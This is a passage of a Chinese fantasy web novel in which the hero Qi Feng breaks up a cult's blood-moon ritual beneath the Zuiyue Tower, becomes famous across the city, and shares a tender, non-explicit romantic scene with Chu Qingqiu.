她的脸色比前几日更加苍白,眼睑下有着淡淡的青影,但精神却高度集中,指尖在舆图上缓缓移动,最终停留在醉月楼。
“齐公子,星象异动已达顶峰。”她的声音带着一丝不易察觉的沙哑,“翼、轸二宿煞气冲天,荧惑之光已彻底掩盖心宿,阴秽之气如百川归海,正向城中某处汇聚……虽然对方用了极高明的阵法遮掩天机,干扰地气,但星辉指引不会错,核心……就在醉月楼下方!”
她抬起头,目光灼灼地看向齐枫的背影:“子时三刻,血月必现!届时阴气大盛,是幽冥教启动祭祀的最佳时机,也是唯一时机!”
富贵如同鬼魅般从阴影中现身,低声道:“少爷,我们的人回报,醉月楼今夜对外宣称内部修缮,谢绝一切宾客。但后门在入夜后,有数辆覆盖着黑布的马车悄然进入,守卫极其森严,我们的人无法靠近。另外,袁家祖宅一个时辰前,有数道隐晦的强者气息离开,方向……也是醉月楼。”
齐枫缓缓转过身,目光扫过苏晚晴和富贵,语气平静却带着不容置疑的力量:“看来,我们这位邻居,今晚要办一场热闹的大宴。”
他走到书案前,手指点在那被深红朱砂圈住的醉月楼上:“幽冥教煞费苦心,明修栈道暗度陈仓,将所有人的注意力引向城西,真正的祭坛,却设在了这最繁华、最意想不到的灯下黑之地。临水而建,借水运阴,地下必有广阔空间,足以容纳祭坛和大量教徒。好算计。”
“萧无痕那边呢?”齐枫问道。
富贵答道:“萧指挥使似乎也察觉到了异常,一个时辰前,锦衣卫的大批人手已秘密向城西染坊区域集结,看样子是准备强攻了。他……似乎并未完全采信我们关于醉月楼的判断。”
齐枫嘴角勾起一抹冷冽的弧度:“无妨。让他去碰碰钉子也好,正好帮我们吸引一部分注意力。我们按计划行事。”
第三百一十五章 血月现
齐枫看向苏晚晴:“苏大人,烦请你在此坐镇,以司天监秘法监控星象地气变化,随时指引我们方位。醉月楼外围阵法重重,需要你这样的专业人士寻找破绽。”
苏晚晴郑重点头:“义不容辞。我会以‘星罗盘’锁定核心阴气源,为你们指引方向。务必小心,血月之力加持下,幽冥教的邪术威力会倍增。”
齐枫又对富贵吩咐道:“通知我们的人,化整为零,秘密向醉月楼周边区域渗透。第一目标,潜入醉月楼,确认祭坛确切位置和内部守卫情况。第二,寻找并破坏支撑外围阵法的几个关键节点,为后续行动打开缺口。记住,隐蔽为上,不到万不得已,不要打草惊蛇。”
“是!”富贵领命,身形一晃,再次融入阴影。
齐枫走到墙边,取下悬挂着一柄看似普通、却隐隐流动着淡金色光泽的长剑。
这是他让富贵秘密寻来寒铁,辅以自身天劫之力初步淬炼而成,不算是什么神兵,但对阴邪之气有着天然的克制。
“齐公子,你……要亲自去?”苏晚晴看着他佩剑的动作,忍不住问道。
齐枫整理了一下衣袍,语气淡然:“钓鱼自然要下饵。我这个他们眼中的‘最大变数’若是不出现,他们又如何能安心进行最后的仪式?”
他看了一眼苏晚晴,又望向偏厅方向,声音放缓了些:“此地,就拜托苏大人了。若事有不谐……你知道该怎么做。”
他指的是万一幽冥教声东击西,或者出现其他不可控局面,需要苏晚晴以司天监的身份,调动官府乃至城防军的力量。
苏晚晴深吸一口气,重重颔首:“我明白。齐公子,保重。”
齐枫不再多言,推开书房门,身影很快消失在浓郁的夜色中。
就在齐枫离开后不久,端坐于星罗盘前的苏晚晴,眉头猛地一蹙,她看到代表阴气汇聚的指针,剧烈地颤抖了一下,指向醉月楼的方向,那指针末端的血色,骤然加深了一分!
与此同时,端坐于锦衣卫临时指挥点,一处民房内的萧无痕,猛地睁开了眼睛。
他感受到城西染坊方向,那股一直被阵法压抑着的阴邪之气,陡然间如同火山喷发般汹涌而出!
甚至形成了肉眼可见的、带着腥臭味的淡黑色雾气,向四周弥漫!
“果然在这里!”萧无痕眼中寒光爆射,霍然起身,“传令!强攻!不惜一切代价,给本官撕开缺口,直捣黄龙!”
“是!”麾下锦衣卫齐声应和,杀气腾腾。
可当萧无痕亲自率领精锐,冲破几层简陋的迷障和陷阱,攻入染坊核心区域时,看到的却并非预想中的祭坛和幽冥教主力,而是一个空荡荡、布满了各种诡异符文、中央刻画着一个巨大逆转阵法的大厅!
那逆转阵法正散发着强烈的能量波动,将方圆数里的阴气强行吸纳过来,再经过转化,模拟出核心祭坛的假象!而真正的阴气,正通过地下某种隐秘的渠道,被输送到远方!
“不好!中计了!”萧无痕脸色瞬间铁青,他终于明白,自己被耍了!这里根本就是一个吸引火力的假目标!
“大人!此地阵法复杂,强行破坏恐引发阴气爆炸!”一名精通阵法的锦衣卫校尉急声提醒。
萧无痕看着那不断运转、散发出不祥气息的逆转阵法,拳头捏得咯咯作响。他现在调头去醉月楼,已经晚了!而且,没有确切证据,他也不能贸然强攻那座背景复杂的醉月楼!
“立刻派人,以最快速度赶往醉月楼方向探查!其他人,给我想办法稳住这个阵法,不能让它爆炸波及平民!”萧无痕几乎是咬着牙下达命令,心中充满了挫败感和对齐枫那句“以静制动”的事先洞察的复杂情绪。
此刻,醉月楼外。
表面看去,这座闻名府城的销金窟一片死寂,连招牌下的灯笼都未曾点亮。
但在齐枫的感知中,整座楼宇仿佛一头蛰伏的巨兽,被一层无形的、扭曲光线的阴邪能量场笼罩着。
空气在这里变得粘稠,温度也明显低于周边区域。
他并没有从正门或者显眼的地方进入,而是如同壁虎般,悄无声息地沿着建筑外侧阴影,向上攀爬,最终从三楼一扇未曾关严的透气窗滑入了楼内。
楼内一片漆黑,伸手不见五指,弥漫着一股混合了浓郁檀香、血腥味以及一种难以言喻的腐败气息的怪味。
往日里的丝竹管弦、莺歌燕舞早已被一种死寂所取代,只有某种低沉仿佛来自地底深处的嗡鸣声隐隐传来,震得人心脏发闷。
齐枫将自身气息收敛到极致,如同融入了这片黑暗。
他的双眸在黑暗中泛着淡淡的金芒,天劫之力赋予他的超凡视觉,让他能够依稀看清周围的景象。
走廊空旷,原本华丽的装饰蒙上了一层灰尘,一些地方甚至出现了蛛网。
他沿着那嗡鸣声和阴气最浓郁的方向,小心翼翼地向楼下潜行。
越往下,那股血腥和腐败的气味就越发浓重,低沉的嗡鸣也变成了如同万千冤魂哀嚎般的杂音,冲击着人的心神。
墙壁上开始出现一些用暗红色颜料绘制的扭曲符文,散发出不祥的光芒。
沿途,他遇到了几波巡逻的幽冥教徒。
这些教徒眼神麻木,动作僵硬,如同提线木偶,但身上散发出的阴煞之气却不容小觑。
齐枫并未打草惊蛇,凭借高超的身法和对环境的敏锐感知,如同鬼魅般从他们视线的死角掠过。
根据苏晚晴之前提供的醉月楼建筑结构图,以及自身对阴气流动的感知,他很快确定,祭坛的核心就在醉月楼地下,原本用于储存酒水物资的巨大地窖之中。
他找到一个通往地下的隐秘楼梯口,这里守卫明显更加森严,不仅有两名眼神锐利的教徒持刀而立,楼梯口还被一层淡黑色的、如同水波般荡漾的能量屏障封锁。
第三百一十六章 所向披靡
齐枫屏住呼吸,藏身于一根巨大的廊柱之后,心中快速计算着突破的方案。
强行突破不难,但势必会立刻惊动下面的核心人员。
就在他思索之际,怀中的一枚温润玉佩忽然传来极其微弱的震动。
这是苏晚晴通过星罗盘与他联系的简易法器。
他凝神感知,玉佩传递来的信息断断续续,却足够清晰:“东南……巽位……阵法节点……薄弱……”
齐枫目光立刻投向楼梯口东南方向的一处墙壁,那里看似与其他地方无异,但在他的感知中,那里的能量波动确实比其他地方要紊乱一丝。
他不再犹豫,指尖悄然凝聚起一丝细微至极的天劫之力,屈指一弹!
那缕金芒细如发丝,快若闪电,精准地没入东南墙角一处不起眼的符文连接点!
“啵!”
一声极其轻微的、如同气泡破裂的声响。
那笼罩楼梯口的淡黑色能量屏障,如同被刺破的水泡,剧烈地荡漾了一下,光芒瞬间黯淡了大半,虽然未曾完全消失,但强度已大不如前!
两名守卫似乎有所察觉,警惕地看向四周。
就是现在!
齐枫身形如电,在屏障波动最剧烈的瞬间,如同一条滑不留手的游鱼,悄无声息地穿过了那变得稀薄的屏障,瞬间出手如风,点中了两名守卫的昏睡穴!
两名守卫连哼都没哼一声,便软软倒地。
齐枫不敢耽搁,迅速沿着陡峭的楼梯向下潜行。
越往下,那股令人作呕的血腥味和怨念几乎化为实质,耳边的哀嚎嘶吼也越发清晰,仿佛有无数双手在撕扯着他的灵魂。
寻常人到此,恐怕瞬间就会精神崩溃。
楼梯尽头,是一扇厚重刻画着狰狞鬼首的石门。
石门虚掩着,里面透出摇曳幽绿色的火光,以及更加浓烈的能量波动。
齐枫贴近门缝,向内望去。
眼前的景象,即便是他,瞳孔也不由得微微一缩!
这是一个远比想象中更加巨大的地下空间,仿佛将整个醉月楼的地下都掏空了。
空间的中央,是一个由无数惨白骨骸垒砌而成的巨大圆形祭坛,祭坛高达数丈,分三层,每一层都刻满了流淌着暗红色光芒的邪恶符文。
祭坛的顶端,悬浮着一颗约莫拳头大小、不断搏动着的暗红色肉瘤,如同一个畸形的心脏,散发出滔天的怨气与阴邪之力!这就是血月祭的核心。
由无数生灵精血与怨魂熔炼而成的“邪心”!
祭坛周围,密密麻麻地跪伏着上百名身穿黑袍的幽冥教徒,他们如同最虔诚的信徒,低声吟诵着晦涩诡异的咒文,他们的生命力与精神力,正被祭坛上的符文抽取,化作一道道黑红色的气流,汇入顶端的邪心之中。
在祭坛正前方,五位气息强大的身影肃然而立,正是幽冥教的五位护法!
哭丧护法手持一柄白骨权杖,站在最前方,权杖顶端镶嵌着一颗幽绿色的宝石,正引导着庞大的阴气注入祭坛。
黑煞护法如同门神般矗立在一旁,重甲覆盖的身躯散发着令人窒息的压迫感。
鬼母护法手中捧着一个不断蠕动的黑色瓦罐,罐口黑气缭绕,隐约可见扭曲的人脸浮现。
阴书生摇着羽扇,目光却锐利地扫视着四周,显然负责警戒。
而幽影护法,则如同真正的影子,融入了祭坛投下的阴影之中,几乎难以察觉。
除了他们,齐枫还看到了几个熟悉的身影。
袁振山以及袁家的几位核心长老!
他们站在稍远一些的位置,脸色苍白,眼神中既有恐惧,也有一丝疯狂的期待。
袁振山手中,还捧着一个古朴的罗盘状物件,似乎就是袁家祖传的、用来稳定和放大阵法的宝物!
“时候已到!”哭丧护法那沙哑的声音响起,带着一种狂热的激动,“血月将临,圣尊即将苏醒!献上最后的祭品,完成这伟大的仪式!”
随着他话音落下,鬼母护法猛地将手中的黑色瓦罐掷向祭坛!
瓦罐在祭坛上空炸裂,里面涌出大量粘稠散发着恶臭的黑红色液体,如同拥有生命般,缠绕上那搏动的邪心!
邪心搏动的速度骤然加快,体积也开始膨胀!一股更加恐怖、更加暴戾的气息开始复苏!
与此同时,透过地下空间顶部某些巧妙设计的缝隙,可以看到外界原本漆黑一片的夜空,不知何时,那轮隐藏的月亮,边缘开始染上一抹诡异令人心悸的猩红!
血月,正在显现!
“就是现在!”齐枫知道不能再等下去了!
他猛地推开石门,身形如一道撕裂黑暗的闪电,直扑祭坛!
手中长剑出鞘,清越的剑鸣声中,一道凝练至极、蕴含着煌煌天威的金色剑罡,如同九天落雷,悍然斩向祭坛顶端那正在蜕变的邪心!
“齐枫!!!”
“拦住他!”
五位护法和袁振山同时发出惊怒的吼声!
他们万万没想到,齐枫竟然能悄无声息地突破外围重重防御,直接出现在这核心祭坛!
黑煞护法反应最快,咆哮一声,重甲轰鸣,如同一座移动的山岳,一拳轰向齐枫!
拳风所过之处,空气发出爆鸣,阴煞之气凝聚成实质的黑色巨拳!
阴书生羽扇急挥,数道阴毒的精神冲击如同无形之箭,射向齐枫的眉心!
幽影护法更是如同鬼魅般从阴影中刺出,一道乌光直取齐枫后心!
面对三大高手的围攻,齐枫眼神冰冷,不闪不避!
他左手并指如剑,指尖金芒璀璨,对着黑煞护法的拳锋直点而去!右手长剑去势不减,依旧斩向邪心!
“轰!!!”
指尖与拳锋碰撞,发出震耳欲聋的巨响!
黑煞护法那足以开山裂石的一拳,在接触到那一点金芒的瞬间,如同鸡蛋撞上了石头,凝聚的阴煞拳罡轰然破碎!
他整个人如遭雷击,重甲下的身躯剧烈颤抖,蹬蹬蹬连退七八步,每一步都在坚硬的地面上留下深深的脚印,猩红的血液从他头盔缝隙中渗出!
第三百一十七章 一剑!
而齐枫的剑罡,虽然被幽影护法的偷袭和阴书生的精神冲击削弱了几分,却依旧势如破竹地劈在了那膨胀的邪心之上!
“嗤——!”
如同热刀切入了牛油!
邪心被斩开一道深深的缺口,大量黑红色的污血如同喷泉般涌出,里面传出的不再是低沉的嗡鸣,而是无数冤魂凄厉到极致的尖啸!那复苏的恐怖气息为之一滞!
“啊!我的圣尊之心!”哭丧护法发出心痛欲裂的嘶吼,手中的白骨权杖爆发出更加浓郁的幽绿光芒,试图修复邪心。
鬼母护法也尖叫着,双手连弹,一道道漆黑的诅咒之力如同毒蛇般缠向齐枫。
“你们,挡不住我。”齐枫语气淡漠,周身金色光晕流转,将那诅咒之力隔绝在外。
他手腕一抖,长剑再次扬起,更加磅礴的剑意开始凝聚。
整个地下祭坛,因为他的闯入,瞬间乱成一团!血月祭最关键的时刻,被硬生生打断!
可就在齐枫准备再次出手,彻底摧毁邪心之时,异变再生!
祭坛上空,那轮透过缝隙可见的血月,终于完全挣脱了乌云的束缚,将猩红如血的光芒,彻底洒向大地!
一道凝练至极、蕴含着无尽阴邪与疯狂意志的暗红色光柱,无视了物理阻隔,骤然从天而降,透过地壳,精准地灌注到那被斩伤的邪心之中!
邪心如同被注入了强心剂,猛地剧烈膨胀,表面的伤口在黑红色光芒中飞速愈合,一股远比之前更加可怕、仿佛来自九幽深处的意志,开始苏醒!
“哈哈哈!血月之力!圣尊降临了!齐枫,你阻止不了了!”哭丧护法状若疯狂地大笑起来。
袁振山也激动地浑身颤抖,将手中的罗盘高高举起,罗盘散发出朦胧的清光,与祭坛阵法相连,似乎真的在帮助稳定那狂暴涌入的血月之力。
齐枫抬头,看着那被血月光柱笼罩、气息不断攀升的邪心,眉头微微皱起。
他感觉到,一股冰冷、混乱、充满毁灭欲望的意志,正在从那邪心中诞生,并且试图侵蚀他的心神。
周围的空间都开始扭曲,祭坛上的符文如同活物般蠕动,散发出令人窒息的压力。
血月之力加持下的幽冥祭坛,果然非同小可!
“凭借一个残缺的邪物,也想逆天?”齐枫冷哼一声,体内沉寂的天劫之力开始真正沸腾。
他不再保留,长剑指天,周身金光大盛,如同在这片阴邪的地下空间,升起了一轮灼热的骄阳!
“雷来!”
随着他一声低喝,并非真正的雷霆,而是他体内至阳至刚的天劫之力模拟出的煌煌天威,化作无数道细密的金色电蛇,缠绕于剑身之上!
一剑斩出,风云变色!
金色的剑罡如同撕裂长空的闪电,带着净化一切邪祟的煌煌神威,悍然劈向那正在蜕变的邪心,以及那连接天地的血月光柱!
这一剑,他要斩邪心,断血月连接!
“保护圣尊!”五位护法目眦欲裂,不顾一切地催动所有力量,甚至燃烧自身精血,化作五道颜色各异却同样阴邪磅礴的光柱,联手迎向那金色的剑罡!
袁振山也拼命催动手中罗盘,清光化作屏障,试图阻挡。
轰隆隆——!!!
前所未有的巨大爆炸声,在地下空间轰然响起!
金色与黑红色的能量疯狂对撞、湮灭!狂暴的气流如同海啸般向四周席卷,将跪伏在地的幽冥教徒成片掀飞,撞在墙壁上筋断骨折!
整个醉月楼都在这恐怖的冲击下剧烈摇晃,仿佛随时会坍塌!
能量风暴的中心,齐枫持剑而立,衣袍猎猎作响,金光护体,岿然不动。
而对面的五位护法,则是个个脸色煞白,嘴角溢血,显然在刚才的硬拼中吃了大亏。
连他们联手,竟然也只能勉强挡住齐枫这一剑!
那血月光柱剧烈晃动,变得明灭不定。
邪心的蜕变过程再次被打断,甚至表面又出现了细微的裂痕!
“不可能!他怎么可能这么强?!”黑煞护法发出不敢置信的咆哮,他无法理解,在血月之力加持下,他们五人联手,竟然还处于下风!
哭丧护法眼神疯狂,他猛地咬破舌尖,一口精血喷在白骨权杖上,权杖顶端的幽绿宝石爆发出刺目的光芒!
“以我之魂,献祭圣尊!请圣尊……降临此身!”
他竟然选择了最极端的方式,试图让那未完全苏醒的邪神意志,暂时降临到自己的身上!
一股更加恐怖、混乱、非人的气息,开始从哭丧护法干瘦的身躯内升起!
齐枫目光一凝,知道不能再给对方机会了。
他正欲再次出手,彻底了结对方,忽然心有所感,猛地抬头望向头顶。
只见醉月楼的地基穹顶,在连续的能量冲击下,终于不堪重负,发出了令人牙酸的呻吟,大块大块的砖石泥土开始剥落、坍塌!
“不好!这里要塌了!”阴书生脸色剧变。
“走!”幽影护法当机立断,一把抓起气息正在剧变的哭丧护法,身形化作一道黑烟,向着某个预设的逃生通道冲去!
鬼母护法和黑煞护法也不敢停留,紧随其后。
袁振山见状,吓得魂飞魄散,也顾不得什么罗盘和野心了,连滚爬爬地跟着向通道逃去。
“想走?”齐枫眼神一冷,岂容他们轻易逃脱?他身形一动,就要追击。
可就在这时,那失去了大部分力量维持、又被血月之力冲击、再加上结构受损的祭坛,中央那邪心猛地一阵不规则地剧烈膨胀,散发出极度不稳定的能量波动!
它要自爆!
一个凝聚了无数生灵精血怨魂、又承受了部分血月之力的邪物自爆,其威力足以将整个醉月楼乃至小半条街夷为平地!
齐枫脸色微变,他可以自保,但醉月楼内外,还有无数被困、昏迷的教徒,以及可能被波及的无辜百姓!
电光火石之间,他做出了抉择。
追击的脚步戛然而止。
他猛地转身,将全部的天劫之力灌注于长剑之中,对着那即将爆炸的邪心,以及不稳定的祭坛核心,斩出了至强的一剑!
第三百一十八章 名声大动!
这一剑,不是为了杀敌,而是为了封印与湮灭!
璀璨夺目的金色剑罡,化作一个巨大的、布满玄奥符文的金色光罩,如同倒扣的金钟,将整个祭坛核心连同那膨胀的邪心,彻底笼罩!
“封!”
齐枫低喝一声,金色光罩骤然收缩!
轰——!!!
沉闷如同闷雷的爆炸声从光罩内传来,金光剧烈闪烁,明灭不定,表面甚至出现了裂痕!
但最终,还是顽强地顶住了那恐怖的爆炸冲击,将绝大部分毁灭性能量束缚在了内部!
只有少部分逸散的能量和冲击波透过光罩缝隙传出,将已经摇摇欲坠的地下空间震得塌陷了大半!
烟尘弥漫,碎石如雨。
当一切暂时平息下来时,祭坛已经化为一片废墟,那邪心也消失无踪,只留下一个巨大的深坑和残留的邪恶气息。
齐枫站在废墟边缘,持剑的手微微垂下,脸色有些苍白。
连续催动天劫之力,尤其是最后那一下强行封印湮灭邪心自爆,对他的消耗也是极大。
他看了一眼幽冥教众人逃离的那个通道,已经被塌陷的巨石堵死大半,暂时无法追击。
血月祭,被他强行打断了。那所谓的“圣尊”并未真正降临。
但是,幽冥教的核心骨干,除了可能被反噬的哭丧护法,几乎全身而退。
袁家也趁乱逃走。
这一次,他破坏了对方筹谋已久的计划,重创了其核心祭坛,甚至可能干掉了一个护法,但远未到将幽冥教连根拔起的地步。
头顶传来杂乱的脚步声和呼喊声,显然是官府和锦衣卫的人终于赶到,正在清理上方的废墟。
齐枫深吸一口气,压下翻腾的气血,将长剑归鞘。
他看了一眼那被封印的爆炸核心,又望向幽冥教逃离的方向,眼神深邃。
幽冥教就像隐藏在黑暗中的毒蛇,这一次虽然被打痛了,但定然不会善罢甘休。
他也需要时间,消化今夜所得,准备应对接下来更加复杂莫测的局面。
……
血月之夜虽过,但其带来的余波,却如同投入平静湖面的巨石,激起的涟漪正以府城为中心,向着四面八方急速扩散。
翌日,当黎明艰难地穿透尚未完全散去的阴霾,照亮满目疮痍的醉月楼遗址时,整个府城都为之震动。
昔日雕梁画栋、夜夜笙歌的销金窟,如今已化作一片断壁残垣,焦黑的地基深坑触目惊心,空气中弥漫着淡淡的焦糊味和尚未散尽的阴邪气息。
官府派出的衙役和兵丁封锁了周边街道,闲杂人等一律不得靠近,唯有仵作和工部的匠人在废墟间小心翼翼地勘察清理。
消息是封锁不住的。
“听说了吗?昨晚醉月楼塌了!底下竟然藏着幽冥教的老巢!”
“何止是老巢!据说他们在搞什么血月祭,要召唤邪神!我的天爷,想想都后怕!”
“是齐公子!是齐公子单枪匹马杀进去,破坏了祭坛,阻止了邪神降临!”
“真的假的?齐公子一个人?那可是幽冥教的老巢啊!”
“千真万确!我七舅姥爷的三外甥女在府衙当差,亲耳听说的!齐公子神威盖世,一剑光寒,把那幽冥教的护法打得落花流水!”
“我就说齐公子不是凡人!文能安邦,武能定国,这是星宿下凡啊!”
市井巷陌,茶楼酒肆,所有人都在激动地议论着。
齐枫的名字再次被推上风口浪尖,但这一次,已不仅仅是府城的荣耀,更蒙上了一层传奇乃至神话的色彩。
单枪匹马,深入虎穴,于万千邪徒环伺之下,力破血月祭,剑斩邪魔心!这简直是话本小说里都不敢轻易编撰的情节!
无数百姓自发地聚集到锦绣阁所在的街口,虽不敢打扰,却都向着那座阁楼投去敬畏、感激的目光。
更有甚者,在家中悄悄立起了长生牌位,祈求齐公子平安。
锦绣阁的门槛再次几乎被踏破,但这一次,前来拜访的已不仅仅是本地的士绅商贾。
邻近州府的官员、世家代表,乃至一些闻风而动的江湖名宿,都带着厚礼,递上拜帖,希望能见这位力挽狂澜的“齐英雄”一面。
阁内,南宫玥和柳若雪忙得脚不沾地,应对着各方来客,既要维持锦绣阁的体面,又要巧妙地替齐枫挡掉许多不必要的应酬。
两女虽然疲惫,但眉宇间却难掩与有荣焉的骄傲。
周子陵、徐远、陈玉堂三人更是兴奋得如同自己立了大功,走路都带风,逢人便绘声绘色地描述他们“想象中”齐枫大战幽冥教的英姿。
府衙内,赵明德和卢正淳在震惊过后,则是长长的松了一口气,随即便是狂喜。
“齐贤弟真乃神人也!”赵明德抚掌大笑,多日来的焦虑一扫而空,“经此一役,幽冥教元气大伤,府城之危暂解!此乃不世之功!本官定要上奏朝廷,为齐贤弟请功!”
卢正淳咳嗽着,脸上也满是欣慰:“咳咳……齐公子居功至伟。只是……此事牵扯太大,幽冥教核心虽遁,但余孽未尽,血月祭虽败,其影响恐未消除。后续事宜,还需谨慎处理。”
他们面前,摆放着初步的勘察结果。
醉月楼地下祭坛的规模、那些未来得及处理的教徒尸体、以及残留的邪恶阵法痕迹,无不昭示着昨夜战斗的凶险与幽冥教图谋之大。
一想到如此可怕的阴谋就在自己眼皮底下酝酿,两人都不禁后背发凉,同时对破坏这一切的齐枫,感激与敬畏之情更甚。
锦衣卫驿站内,气氛则有些微妙。
萧无痕看着手中关于醉月楼废墟的详细报告,脸色阴沉得能滴出水来。
他昨夜在城西扑了个空,被一个假祭坛耍得团团转,还差点引发阴气爆炸造成伤亡。
而齐枫,却精准地找到了真正的核心,并一举功成!
这种对比,让他这位素来自负的锦衣卫指挥使感到无比难堪。
“齐枫……你究竟是如何做到的?”萧无痕指尖敲击着桌面,心中疑虑更深。
第三百一十九章 各方势力
是运气?还是他掌握了某种自己不知道的,追踪幽冥教的方法?亦或是……他与幽冥教之间,本就存在着某种不为人知的联系,才能如此了解其动向?
他绝不相信这仅仅是巧合或能力。
“加大对锦绣阁的监视力度!齐枫的一举一动,本官都要知道!”萧无痕冷声下令,他不允许有任何超出他掌控的存在。
无论外界如何喧嚣、猜测、或心怀鬼胎,处于风暴中心的齐枫,此刻却显得异常平静。
他谢绝了一切访客和宴请,对外只称需要静养。
实际上,他确实在调息。
昨夜强行封印邪心自爆,对他自身的消耗不小,同样的,对于天劫之力的掌控也更强了一分。
此刻,他正坐在自己院落中的石亭内,慢条斯理地烹着一壶清茶,目光悠远,似乎在欣赏着院中几株在秋风中略显萧瑟的菊花。
脚步声轻轻响起,楚清秋端着一碟刚做好的精致点心,走了过来。
她今日穿着一身素雅的月白长裙,未施粉黛,清丽的面容在秋日淡薄的阳光下,显得有些透明,眉宇间那惯有的清冷似乎也融化了几分。
她将点心放在石桌上,在齐枫对面坐下,没有说话,只是静静地看着他烹茶的动作。
茶水沸腾,白气氤氲,带着淡淡的茶香,驱散了些许秋日的凉意。
齐枫斟了一杯茶,推到楚清秋面前,又给自己倒了一杯,这才抬眼看向她,微微一笑:“有事?”
楚清秋端起茶杯,指尖感受着瓷杯传来的温热,沉默了片刻,方才轻声开口,声音如同玉石轻叩:“你昨夜……展现的实力,超出了很多人的预料。”
她顿了顿,抬起眼眸,那双清澈如秋水的眸子直视着齐枫,带着探究与一丝不易察觉的忧虑:“我知道你并非寻常书生,但……如此锋芒毕露,是否太过惹眼?木秀于林,风必摧之。如今你名声愈盛,恐招来更多明枪暗箭。朝廷、江湖、乃至那些隐藏在更暗处的势力……他们不会放任一个无法掌控的变数存在。”
这是这么长时间以来,她第一次如此直接地与他谈论这类涉及他自身实力与处境的话题。
关系的缓和,让她终于能将这份担忧说出口。
齐枫闻言,并未立刻回答。
他端起茶杯,轻轻吹开浮沫,呷了一口,感受着茶汤的温润与回甘。
放下茶杯,他的目光重新落在楚清秋脸上:“清秋,你觉得,在这世间,是藏锋敛锷、步步为营更能保全自身,还是展现出足够的力量,让他人忌惮,不敢轻易招惹,更能赢得喘息之机?”
楚清秋微微一怔,秀眉轻蹙:“自然是……两者需有平衡。过刚易折,过柔则靡。”
“平衡……”齐枫轻轻重复了一遍这个词,嘴角勾起一抹似笑非笑的弧度,“你说得对,需要平衡。但有时候,展现力量本身,就是一种寻求平衡最快的方式。”
他的声音不高,却带着一种洞悉世事的淡然:“幽冥教视我为眼中钉,屡次暗杀不成,若我继续隐藏,他们只会变本加厉,用更极端、更不可控的手段。届时,波及的范围会更广,造成的死伤会更多。我身边的人,包括你,包括小荷,包括锦绣阁上下,都可能成为他们攻击的目标。”
“与其被动挨打,时时提防不知从何处射来的冷箭,不如主动展现出足以让他们伤筋动骨的力量。昨夜一战,我毁了他们的祭坛,重创其核心,甚至可能干掉了一个护法。”
“这足以让幽冥教在短时间内不敢再轻举妄动,至少,不敢再如此明目张胆。这便是用一时的惹眼,换取接下来一段时间的相对安宁。”
他顿了顿,看着楚清秋若有所思的神情,继续道:“至于朝廷和其他势力……名声,有时候也是一种护身符。当你的价值足够大,名声足够响,想要动你,就需要权衡更多的利弊。”
“陛下特召在即,我展现出的能力越强,价值越高,在某些人眼中,我就越有用,反而越安全。当然,觊觎和算计不会少,但至少,他们会更倾向于拉拢、利用,而非直接毁灭。”
“况且……”齐枫的语气微微转冷,“有些麻烦,不是你想躲就能躲掉的。既然躲不掉,那不如迎头撞上去,把它彻底碾碎。展现出足够的实力,就是为了告诉所有人,我齐枫,不是任人拿捏的软柿子。想动我,就要做好崩掉满口牙的准备。”
阳光透过亭角的缝隙,洒在齐枫的脸上,将他平静却蕴含着强大自信的侧脸勾勒得格外清晰。
楚清秋静静地听着,心中的忧虑并未完全散去,但她不得不承认,齐枫的话有其道理。
在这个弱肉强食、危机四伏的世界,一味的隐忍退让,有时确实不如展现出獠牙更能震慑宵小。
他走的,是一条看似张扬,实则计算精准的强者之路。
从一开始的低调,到现在的张扬,每一步,都很稳当。
她想起了自己背负的血海深仇和复国重任,何尝不也需要强大的力量作为支撑?只是她的路,更加隐秘,更加曲折。
“我明白了。”楚清秋轻轻吁出一口气,端起已经微凉的茶,饮了一口,“你有你的考量。只是……万事小心。”
这声叮嘱,比起之前,少了几分疏离,多了几分真切的关心。
齐枫看着她眼中那抹化开的柔和,心中微动。
他伸出手,越过石桌,轻轻覆上了她放在桌面上的手。
楚清秋身体微微一僵,下意识地想要抽回,但齐枫的手掌温暖有力,带着一种不容拒绝。
她抬起眼帘,对上他深邃的目光,那目光中不再有平日的淡然与算计,而是带着一丝清晰的、属于男人的欣赏与渴望。
院中寂静,只有秋风拂过菊丛的细微沙沙声。
空气仿佛在这一刻变得粘稠而暧昧。
他指腹在她细腻的手背上轻轻摩挲着,带来一阵微痒的战栗。
第三百二十章 午后春色
楚清秋的心跳不由自主地加快,脸颊也悄然爬上一抹淡淡的红晕。
她想要避开他的视线,却仿佛被那双眸子吸住,动弹不得。
“清秋……”齐枫的声音低沉了几分,带着一丝磁性的沙哑。
他没有再多说什么,但眼神和动作已经说明了一切。
楚清秋的呼吸微微一滞。
她知道自己应该拒绝,应该保持距离,他们之间还有太多未解的结,那个未出世的孩子更是一道无形的屏障。
但此刻,看着他近在咫尺的脸庞,感受着他掌心传来的温度,听着他低沉唤着自己的名字,她发现自己构筑的心防,正在以一种惊人的速度瓦解。
或许是小荷那番“珍惜眼前”的话起了作用,或许是昨夜他力挽狂澜的身影让她感到了前所未有的安心,又或许,只是这秋日午后的阳光太暖,茶香太醉人……
她终究没有抽回手,也没有移开目光,只是那长长的睫毛轻轻颤动了一下,如同蝶翼,带着一种默许的脆弱与风情。
齐枫读懂了她的默许。
他站起身,绕过石桌,来到她的身边。
高大的身影投下,将她笼罩其中。
他俯下身,一手撑在石桌上,另一只手则抬起,轻轻抚上她的脸颊。
指尖触碰到她微烫的肌肤,两人身体皆是一颤。
他的目光落在她微微开启、泛着诱人光泽的唇瓣上,缓缓低下头。
楚清秋下意识地闭上了眼睛,心脏如同擂鼓。
她能感受到他越来越近的灼热呼吸,带着清冽的茶香和独属于他的男性气息。
当他的唇终于落下时,带着一种不容置疑的温柔坚定,攫取了她所有的呼吸与思绪。
这个吻,不同于落霞坡那次带着试探与征服的意味,也不同于以往任何一次。
它更加深入,更加缠绵,带着一种劫后余生的悸动与确认,仿佛要将彼此的灵魂都吸吮出来。
楚清秋起初还有些僵硬,但在那霸道又不失温柔的攻势下,渐渐软化,生涩而又本能地开始回应。
她的手不知不觉间攀上了他的衣襟,紧紧攥住。
秋风依旧,菊香袅袅。
石亭之内,春意悄然弥漫。
良久,唇分。
楚清秋脸颊绯红,眼波流转间带着一丝迷离的水光,气息微乱。
她不敢看齐枫的眼睛,将发烫的脸颊埋入他的胸膛。
齐枫低笑一声,将她打横抱起,大步向着自己的房间走去。
房门轻轻合上,隔绝了外面的世界。
院内,只剩下石桌上那壶犹自温热的清茶,以及两碟未曾动过的点心,在秋日的阳光下,静默地诉说着方才的旖旎。
房间内发生了什么,无人知晓。
